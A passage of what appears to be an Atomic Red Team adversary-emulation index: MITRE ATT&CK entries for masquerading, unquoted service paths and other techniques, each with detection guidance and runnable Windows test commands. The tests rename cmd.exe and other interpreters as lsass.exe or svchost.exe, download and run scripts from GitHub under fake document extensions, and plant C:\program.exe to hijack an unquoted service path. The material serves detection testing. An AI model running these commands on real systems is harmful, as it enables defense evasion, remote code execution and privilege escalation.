"http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf" - }, - { - "source_name": "F-Secure CozyDuke", - "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" - }, - { - "source_name": "Twitter ItsReallyNick Masquerading Update", - "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457", - "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019." - } - ], - "modified": "2020-11-23T17:03:38.941Z", - "name": "Masquerading: Rename System Utilities", - "description": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Metadata", - "File: File Modification", - "Command: Command Execution", - "Process: Process Metadata" - ], - "identifier": "T1036.003" - }, - "atomic_tests": [ - { - "name": "Masquerading as Windows LSASS process", - "auto_generated_guid": "5ba5a3d1-cf3c-4499-968a-a93155d1f717", - "description": "Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe.\n\nUpon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "copy %SystemRoot%\\System32\\cmd.exe %SystemRoot%\\Temp\\lsass.exe\n%SystemRoot%\\Temp\\lsass.exe /B\n", - "cleanup_command": "del /Q /F %SystemRoot%\\Temp\\lsass.exe >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Masquerading - cscript.exe running as notepad.exe", - "auto_generated_guid": "3a2a578b-0a01-46e4-92e3-62e2859b42f0", - "description": "Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe.\n\nUpon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "copy %SystemRoot%\\System32\\cscript.exe %APPDATA%\\notepad.exe /Y\ncmd.exe /c %APPDATA%\\notepad.exe /B\n", - "cleanup_command": "del /Q /F %APPDATA%\\notepad.exe >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Masquerading - wscript.exe running as svchost.exe", - "auto_generated_guid": "24136435-c91a-4ede-9da1-8b284a1c1a23", - "description": "Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.\n\nUpon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "copy %SystemRoot%\\System32\\wscript.exe %APPDATA%\\svchost.exe /Y\ncmd.exe /c %APPDATA%\\svchost.exe /B\n", - "cleanup_command": "del /Q /F %APPDATA%\\svchost.exe >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Masquerading - powershell.exe running as taskhostw.exe", - "auto_generated_guid": "ac9d0fc3-8aa8-4ab5-b11f-682cd63b40aa", - "description": "Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe.\n\nUpon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\taskhostw.exe /Y\ncmd.exe /K %APPDATA%\\taskhostw.exe\n", - "cleanup_command": "del /Q /F %APPDATA%\\taskhostw.exe >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Masquerading - non-windows exe running as windows exe", - "auto_generated_guid": "bc15c13f-d121-4b1f-8c7d-28d95854d086", - "description": "Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe\n\nUpon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "outputfile": { - "description": "path of file to execute", - "type": "path", - "default": "($env:TEMP + \"\\svchost.exe\")" - }, - "inputfile": { - "description": "path of file to copy", - "type": "path", - "default": "PathToAtomicsFolder\\T1036.003\\bin\\T1036.003.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Exe file to copy must exist on disk at specified location (#{inputfile})\n", - "prereq_command": "if (Test-Path #{inputfile}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{inputfile}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/bin/T1036.003.exe\" -OutFile \"#{inputfile}\"\n" - } - ], - "executor": { - "command": "copy #{inputfile} #{outputfile}\n$myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id\nStop-Process -ID $myT1036_003\n", - "cleanup_command": "Remove-Item #{outputfile} -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Masquerading - windows exe running as different windows exe", - "auto_generated_guid": "c3d24a39-2bfe-4c6a-b064-90cd73896cb0", - "description": "Copies a windows exe, renames it as another windows exe, and launches it to masquerade as second windows exe\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "outputfile": { - "description": "path of file to execute", - "type": "path", - "default": "($env:TEMP + \"\\svchost.exe\")" - }, - "inputfile": { - "description": "path of file to copy", - "type": "path", - "default": "$env:ComSpec" - } - }, - "executor": { - "command": "copy #{inputfile} #{outputfile}\n$myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id\nStop-Process -ID $myT1036_003\n", - "cleanup_command": "Remove-Item #{outputfile} -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Malicious process Masquerading as LSM.exe", - "auto_generated_guid": "83810c46-f45e-4485-9ab6-8ed0e9e6ed7f", - "description": "Detect LSM running from an incorrect directory and an incorrect service account\nThis works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\\ folder.\n\nUpon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "copy C:\\Windows\\System32\\cmd.exe C:\\lsm.exe\nC:\\lsm.exe /c echo T1036.003 > C:\\T1036.003.txt\n", - "cleanup_command": "del C:\\T1036.003.txt >nul 2>&1\ndel C:\\lsm.exe >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "File Extension Masquerading", - "auto_generated_guid": "c7fa0c3b-b57f-4cba-9118-863bf4e653fc", - "description": "download and execute a file masquerading as images or Office files. Upon execution 3 calc instances and 3 vbs windows will be launched.\n\ne.g SOME_LEGIT_NAME.[doc,docx,xls,xlsx,pdf,rtf,png,jpg,etc.].[exe,vbs,js,ps1,etc] (Quartelyreport.docx.exe)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "exe_path": { - "description": "path to exe to use when creating masquerading files", - "type": "path", - "default": "C:\\Windows\\System32\\calc.exe" - }, - "vbs_path": { - "description": "path of vbs to use when creating masquerading files", - "type": "path", - "default": "PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs" - }, - "ps1_path": { - "description": "path of powershell script to use when creating masquerading files", - "type": "path", - "default": "PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "File to copy must exist on disk at specified location (#{vbs_path})\n", - "prereq_command": "if (Test-Path #{vbs_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{vbs_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.vbs\" -OutFile \"#{vbs_path}\"\n" - }, - { - "description": "File to copy must exist on disk at specified location (#{ps1_path})\n", - "prereq_command": "if (Test-Path #{ps1_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{ps1_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.ps1\" -OutFile \"#{ps1_path}\"\n" - } - ], - "executor": { - "command": "copy #{exe_path} %temp%\\T1036.003_masquerading.docx.exe /Y\ncopy #{exe_path} %temp%\\T1036.003_masquerading.pdf.exe /Y\ncopy #{exe_path} %temp%\\T1036.003_masquerading.ps1.exe /Y\ncopy #{vbs_path} %temp%\\T1036.003_masquerading.xls.vbs /Y\ncopy #{vbs_path} %temp%\\T1036.003_masquerading.xlsx.vbs /Y\ncopy #{vbs_path} %temp%\\T1036.003_masquerading.png.vbs /Y\ncopy #{ps1_path} %temp%\\T1036.003_masquerading.doc.ps1 /Y\ncopy #{ps1_path} %temp%\\T1036.003_masquerading.pdf.ps1 /Y\ncopy #{ps1_path} %temp%\\T1036.003_masquerading.rtf.ps1 /Y\n%temp%\\T1036.003_masquerading.docx.exe\n%temp%\\T1036.003_masquerading.pdf.exe\n%temp%\\T1036.003_masquerading.ps1.exe\n%temp%\\T1036.003_masquerading.xls.vbs\n%temp%\\T1036.003_masquerading.xlsx.vbs\n%temp%\\T1036.003_masquerading.png.vbs\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.doc.ps1\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.pdf.ps1\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.rtf.ps1\n", - "cleanup_command": "del /f %temp%\\T1036.003_masquerading.docx.exe > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.pdf.exe > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.ps1.exe > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.xls.vbs > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.xlsx.vbs > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.png.vbs > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.doc.ps1 > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.pdf.ps1 > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.rtf.ps1 > nul 2>&1\n", - "name": "command_prompt" - } - } - ] - }, - "T1574.009": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", - "type": "attack-pattern", - "created": "2020-03-13T13:51:58.519Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.009", - "url": "https://attack.mitre.org/techniques/T1574/009" - }, - { - "external_id": "CAPEC-38", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/38.html" - }, - { - "source_name": "Microsoft CurrentControlSet Services", - "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree", - "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020." - }, - { - "source_name": "Help eliminate unquoted path", - "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", - "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012." - }, - { - "source_name": "Windows Unquoted Services", - "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/", - "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018." - }, - { - "source_name": "Windows Privilege Escalation Guide", - "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018." - } - ], - "modified": "2020-09-17T19:05:23.755Z", - "name": "Hijack Execution Flow: Path Interception by Unquoted Path", - "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Creation", - "Process: Process Creation", - "File: File Modification" - ], - "identifier": "T1574.009" - }, - "atomic_tests": [ - { - "name": "Execution of program.exe as service with unquoted service path", - "auto_generated_guid": "2770dea7-c50f-457b-84c4-c40a47460d9f", - "description": "When a service is created whose executable path contains spaces and isn\u2019t enclosed within quotes, leads to a vulnerability\nknown as Unquoted Service Path which allows a user to gain SYSTEM privileges.\nIn this case, if an executable program.exe in C:\\ exists, C:\\program.exe will be executed instead of test.exe in C:\\Program Files\\subfolder\\test.exe.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "service_executable": { - "description": "Path of the executable used for the service and as the hijacked program.exe", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe" - } - }, - "executor": { - "command": "copy #{service_executable} \"C:\\Program Files\\windows_service.exe\"\ncopy #{service_executable} \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n", - "cleanup_command": "sc stop \"Example Service\" >nul 2>&1\nsc delete \"Example Service\" >nul 2>&1\ndel \"C:\\Program Files\\windows_service.exe\" >nul 2>&1\ndel \"C:\\program.exe\" >nul 2>&1\ndel \"C:\\Time.log\" >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1186": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1186", - "url": "https://attack.mitre.org/techniques/T1186" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", - "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.", - "source_name": "Microsoft TxF" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx", - "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.", - "source_name": "Microsoft Basic TxF Concepts" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx", - "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.", - "source_name": "Microsoft Where to use TxF" - }, - { - "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf", - "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.", - "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017" - }, - { - "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", - "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.", - "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017" - }, - { - "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx", - "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.", - "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine" - } - ], - "modified": "2020-01-14T17:23:25.111Z", - "name": "Process Doppelg\u00e4nging", - "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting", - "Anti-virus", - "Whitelisting by file name or path", - "Signature-based detection" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM", - "User" - ] - }, - "atomic_tests": [] - }, - "T1027.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", - "type": "attack-pattern", - "created": "2020-02-05T14:28:16.719Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1027.003", - "url": "https://attack.mitre.org/techniques/T1027/003" - }, - { - "external_id": "CAPEC-636", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/636.html" - }, - { - "url": "https://en.wikipedia.org/wiki/Duqu", - "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.", - "source_name": "Wikipedia Duqu" - }, - { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/", - "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.", - "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics" - } - ], - "modified": "2021-10-15T16:46:56.760Z", - "name": "Steganography", - "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Metadata" - ] - }, - "atomic_tests": [] - }, - "T1550.004": { - "technique": { - "x_mitre_platforms": [ - "Office 365", - "SaaS", - "Google Workspace", - "IaaS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jen Burns, HubSpot", - "Johann Rehberger" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", - "type": "attack-pattern", - "created": "2020-01-30T17:48:49.395Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1550.004", - "url": "https://attack.mitre.org/techniques/T1550/004" - }, - { - "external_id": "CAPEC-60", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/60.html" - }, - { - "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", - "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html", - "source_name": "Pass The Cookie" - }, - { - "source_name": "Unit 42 Mac Crypto Cookies January 2019", - "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", - "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019." - } - ], - "modified": "2021-10-12T14:22:09.650Z", - "name": "Web Session Cookie", - "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.3", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Web Credential: Web Credential Usage", - "Application Log: Application Log Content" - ], - "x_mitre_defense_bypassed": [ - "System Access Controls" - ] - }, - "atomic_tests": [] - }, - "T1078.002": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jon Sternstein, Stern Security" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", - "created": "2020-03-13T20:21:54.758Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1078.002", - "url": "https://attack.mitre.org/techniques/T1078/002" - }, - { - "source_name": "TechNet Credential Theft", - "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx", - "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016." - }, - { - "source_name": "TechNet Audit Policy", - "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016." - }, - { - "source_name": "Microsoft AD Accounts", - "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts", - "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020." - }, - { - "source_name": "Ubuntu SSSD Docs", - "url": "https://ubuntu.com/server/docs/service-sssd", - "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021." - }, - { - "url": "https://capec.mitre.org/data/definitions/560.html", - "source_name": "capec", - "external_id": "CAPEC-560" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", - "modified": "2022-04-19T20:14:34.479Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Domain Accounts", - "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": 